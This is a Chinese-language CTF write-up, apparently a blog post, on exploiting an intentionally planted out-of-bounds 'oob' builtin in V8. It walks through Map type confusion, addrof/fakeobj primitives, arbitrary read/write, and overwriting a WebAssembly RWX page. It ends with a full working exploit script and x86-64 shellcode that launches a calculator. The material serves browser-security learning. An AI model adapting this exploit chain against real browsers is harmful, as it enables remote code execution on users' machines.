最近开始学习浏览器相关的知识了,虽说看了一些基础知识,但是对于漏洞利用的手法仍然不是很明确,询问队里的大佬后,给我推荐了一道入门题,在做完之后写出了这篇文章。
这里简单讲解一下做这一题需要的前置知识。
首先我们需要了解v8中的对象的结构,以一个Float数组Float_Array为例来讲解。
Float_Array数组的结构如下图:
其中Map(也叫Hidden Class)属性代表了数组的类型,对于相同类型的对象,他们的Map应该相同,这一点非常重要,后面题目中我们会用到。
另一个很重要的就是Elements,它本身就是一个对象,他指向了真正保存数组内容的地址(Fixed Array),假如我们对Array数组进行赋值:Float_Array = [1.1,2.2,3.3],那么数组的值将会分别被存储在图中Value1,Value2,Value3的位置。
上面的图只是结构的示意图,而在内存中从低地址到高地址的结构图应该是下面这样:
同样以上面的Float数组Float_Array为例,我们再新增一个对象数组叫做Obj_Array,他们的类型不同,所以Map值也是不相同的,如果此时有一个漏洞,可以让我们将Float_Array的Map的值更改为Obj_Array的Map的值,那么此时就造成了类型混淆,如果我们从Obj_Array中取值,它返回的不再是一个对象,而是以Float的形式表示的对象的地址。
有了以上的知识,我们就可以开始看我们的题目了,题目给了一个名叫oob.diff
的文件,打开文件发现前面有一个名为SimpleInstallFunction
的东西,结合网上对于JavaScript API
的资料可以分析出题目是自己实现了一个名为oob的函数,实现的具体细节在22-42行:
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
结合文件中的注释可以看出,当参数个数为0(对应len==1,因为对于内置函数,会有一个this指针作为一参)时,将会输出Array[length]位置的值,这里造成了越界读,因为正常来说,我们取第length个位置的值,应该取得是Array[length-1]。
当参数个数为1时,可以向Array[length]的位置写入所传的参数,这里就很有问题了,因为当我们想向第length个位置写入的时候,我们写入的位置是Array[length-1],所以这里其实造成了越界写。
根据以上的分析,由于浮点数组的Map正好与Fixed Array紧邻,所以我们可以通过泄露出浮点数组的Map值,同理,当我们创建一个对象数组时,也可以泄露出对象数组的Map值,测试代码:
//test.js
var buffer = new ArrayBuffer(32);
var f64 = new Float64Array(buffer);
var i64 = new BigUint64Array(buffer);
function f_to_i(target){
f64[0]=target;
return i64[0];
}
function i_to_f(target){
i64[0]=target;
return f64[0];
}
function hex(target){
return target.toString(16).padStart(16,"0");
}
var float_array = [1.1];
var obj={"a":0x11};
var obj_array = [obj];
var obj_hidden = obj_array.oob();
var float_hidden = float_array.oob();
console.log("obj hidden is leaked ==> " + hex(f_to_i(obj_hidden)));
console.log("float hidden is leaked ==> " + hex(f_to_i(float_hidden)));
%DebugPrint(float_array);
%DebugPrint(obj_array);
%SystemBreak();
在d8的同级目录下打开运行gdb ./d8
,进入gdb界面后,输入命令set args --allow-natives-syntax ./test.js
,然后run就行了:
可以看见我们图中的泄露出来的Map值是完全没有问题的,这里讲一下这部分的核心,也就是:
var obj_hidden = obj_array.oob();
var float_hidden = float_array.oob();
这两行代码,前面分析过,不传参数就会输出Array[Length]的值,而这个做法越界了一个内存单元,由上面的内存结构图可以看出来,Fixed Array的下一个内存单元,存放的是Map,也就是说通过xxx.oob()
,就可以泄露出相应的Map。
前面说过,当我们传入一个参数,会越界一个内存单元去写入参数值,那么此时我们已经有了两个数组的Map值,那么我们是否能修改Map值达到类型混淆呢?答案是肯定的,在刚才的测试代码中加入以下代码:
obj_array.oob(float_hidden);
运行之后,gdb查看内存:
可以看见,obj_array的Map也被改成了float_array的Map值,根据我们以上的结论,我们可以很简单的构造出以下原语:
//leak用来泄露出目标obj的地址,基于越界读
function leak(Target_Obj){
obj_array[0]=Target_Obj;
obj_array.oob(float_hidden); //类型混淆:Object --> float
let obj_addr = f_to_i(obj_array[0])-0x1n; //此时obj_array[0]的值不再被作为obj,而是float
obj_array.oob(obj_hidden);
return obj_addr;
}
//fake用来伪造一个obj对象并返回,基于越界写
function fake(Target_Obj){
float_array[0]=i_to_f(Target_Obj+0x1n);
float_array.oob(obj_hidden); //类型混淆:float --> Object
let fake_obj = float_array[0]; //此时obj_array[0]的值不再被作为float,而是obj
float_array.oob(float_hidden);
return fake_obj;
}
现在我们已经有能力泄露出一个对象的地址,以及伪造一个对象了,但是这还没有达到我们的目的,为了达到最终RCE的目的,我们还需要任意地址读写,这也可以基于以上两个功能实现。
试想一下,我们现在有一个Float类型的数组:Array,我们对其进行如下赋值:Array = [Float_Map,0n,0x41414141n,0x400000n],那么他的Fixed Array在内存中的结构如下图所示:
此时如果我们使用leak,泄露出Array的地址,并且根据图片可以计算出泄露出的地址到我们第一个元素的距离为:
addr = leak_addr - n*(0x8)-0x10+0x10
leak_addr就是我们泄露的地址,而n代表的是元素个数,每个元素8个字节,减去0x10是由于Fixed Array的头部还有Map以及Length,再加上0x10是由于elements真正指向的是Fixed Array开头加上0x10的位置。
那么观察我们的布局,如果我们通过类型混淆,在我们数组的第一个元素处伪造一个obj并返回,那么由于我们的数组已经被提前布局好了相关结构,就会形成以下的效果:
此时,0x41414141的位置就被认为是Element指向的位置,那么我们只需要更改这个指针即可达到任意地址读写的效果:
function Read_From(Target_Addr){
fake_array[2] = i_to_f(Target_Addr+0x1n-0x10n);
let data = fake_obj[0];
return data;
}
function Write_To(Target_Addr,Data){
fake_array[2] = i_to_f(Target_Addr+0x1n-0x10n);
fake_obj[0] = i_to_f(Data);
}
此时,我们已经可以任意地址读写了,那么我们改怎么getshell呢?
这里有两种办法:
我们这里采用第二种方法,那么我们首先需要直到wasm是什么,wasm既Web Assembly的缩写,他是一种使JavaScript能直接执行机器码的技术,能够帮助程序高效的运行。
但是由于安全性的原因,wasm并不能执行系统函数,只能实现一些类似于return的功能,但是好在我们现在已经能够任意地址写入了,那么我们只需要找到wasm中的RWX段的位置,并向其中写入我们的shellcode,即可让他执行。
那么首先我们要加载一段正常的wasm进入内存:
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var wasm = wasmInstance.exports.main;
var tmp = wasm();
console.log("If you see 42,that means the wasm code is executed! ==> " + tmp);
通过以下这段代码,我们可以实现return 42
的功能,我们来调试看看:
可以看到,确实是成功执行了,那么此时我们需要做的就是找到其中的rwx段,并且向其中写入我们的ShellCode。
我们先泄露出wasm的地址:
var wasm_addr = leak(wasm);
然后根据Function–>shared_info–>WasmExportedFunctionData–>instance
的顺序,来寻找我们的RWX的位置,最后在instance+0x88
的位置,成功找到可执行段:
那么在代码中我们只需要泄露出这个位置,然后写入相应的shellcode即可:
function Get_Shellcode_Ready(shellcode){
for(var i=0;i<shellcode.length;i++){
dataview.setUint32(4*i,i_to_f(shellcode[i]),true);
}
}
//leak instance+0x88
var shared_info = f_to_i(Read_From(wasm_addr+0x18n))-0x1n;
var Function_Data = f_to_i(Read_From(shared_info+0x8n))-0x1n;
var Instance = f_to_i(Read_From(Function_Data+0x10n))-0x1n;
var Instance_88 = f_to_i(Read_From(Instance+0x88n));
//写入shellcode
var target_buf = new ArrayBuffer(0x100);
var dataview = new DataView(target_buf);
var backing_store = leak(target_buf)+0x20n;
Write_To(backing_store,Instance_88);
//shellcode
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
Get_Shellcode_Ready(shellcode);
//调用shellcode
wasm();
最后放上完整的Exp:
//test.js
var buffer = new ArrayBuffer(32);
var f64 = new Float64Array(buffer);
var i64 = new BigUint64Array(buffer);
function f_to_i(target){
f64[0]=target;
return i64[0];
}
function i_to_f(target){
i64[0]=target;
return f64[0];
}
function hex(target){
return target.toString(16).padStart(16,"0");
}
var float_array = [1.1];
var obj={"a":0x11};
var obj_array = [obj];
var obj_hidden = obj_array.oob();
var float_hidden = float_array.oob();
console.log("obj hidden is leaked ==> " + hex(f_to_i(obj_hidden)));
console.log("float hidden is leaked ==> " + hex(f_to_i(float_hidden)));
//leak用来泄露出目标obj的地址,基于越界读
function leak(Target_Obj){
obj_array[0]=Target_Obj;
obj_array.oob(float_hidden); //类型混淆:Object --> float
let obj_addr = f_to_i(obj_array[0])-0x1n; //此时obj_array[0]的值不再被作为obj,而是float
obj_array.oob(obj_hidden);
return obj_addr;
}
//fake用来伪造一个obj对象并返回,基于越界写
function fake(Target_Obj){
float_array[0]=i_to_f(Target_Obj+0x1n);
float_array.oob(obj_hidden); //类型混淆:float --> Object
let fake_obj = float_array[0]; //此时obj_array[0]的值不再被作为float,而是obj
float_array.oob(float_hidden);
return fake_obj;
}
var fake_array = [float_hidden,i_to_f(0n),i_to_f(0x41414141n),i_to_f(0x300000000n),1.1,2.2];
var fake_addr = leak(fake_array);
var target_addr = fake_addr-0x30n;
var fake_obj = fake(target_addr);
function Read_From(Target_Addr){
fake_array[2] = i_to_f(Target_Addr+0x1n-0x10n);
let data = fake_obj[0];
return data;
}
function Write_To(Target_Addr,Data){
fake_array[2] = i_to_f(Target_Addr+0x1n-0x10n);
fake_obj[0] = i_to_f(Data);
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var wasm = wasmInstance.exports.main;
var wasm_addr = leak(wasm);
console.log("wasm addr is leaked! ==> " + wasm_addr);
function Get_Shellcode_Ready(shellcode){
for(var i=0;i<shellcode.length;i++){
dataview.setUint32(4*i,(shellcode[i]),true);
}
}
//leak instance+0x88
var shared_info = f_to_i(Read_From(wasm_addr+0x18n))-0x1n;
var Function_Data = f_to_i(Read_From(shared_info+0x8n))-0x1n;
var Instance = f_to_i(Read_From(Function_Data+0x10n))-0x1n;
var Instance_88 = f_to_i(Read_From(Instance+0x88n));
//写入shellcode
var target_buf = new ArrayBuffer(0x100);
var dataview = new DataView(target_buf);
var backing_store = leak(target_buf)+0x20n;
Write_To(backing_store,Instance_88);
//shellcode
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
Get_Shellcode_Ready(shellcode);
//调用shellcode
wasm();
最后成功弹出计算器: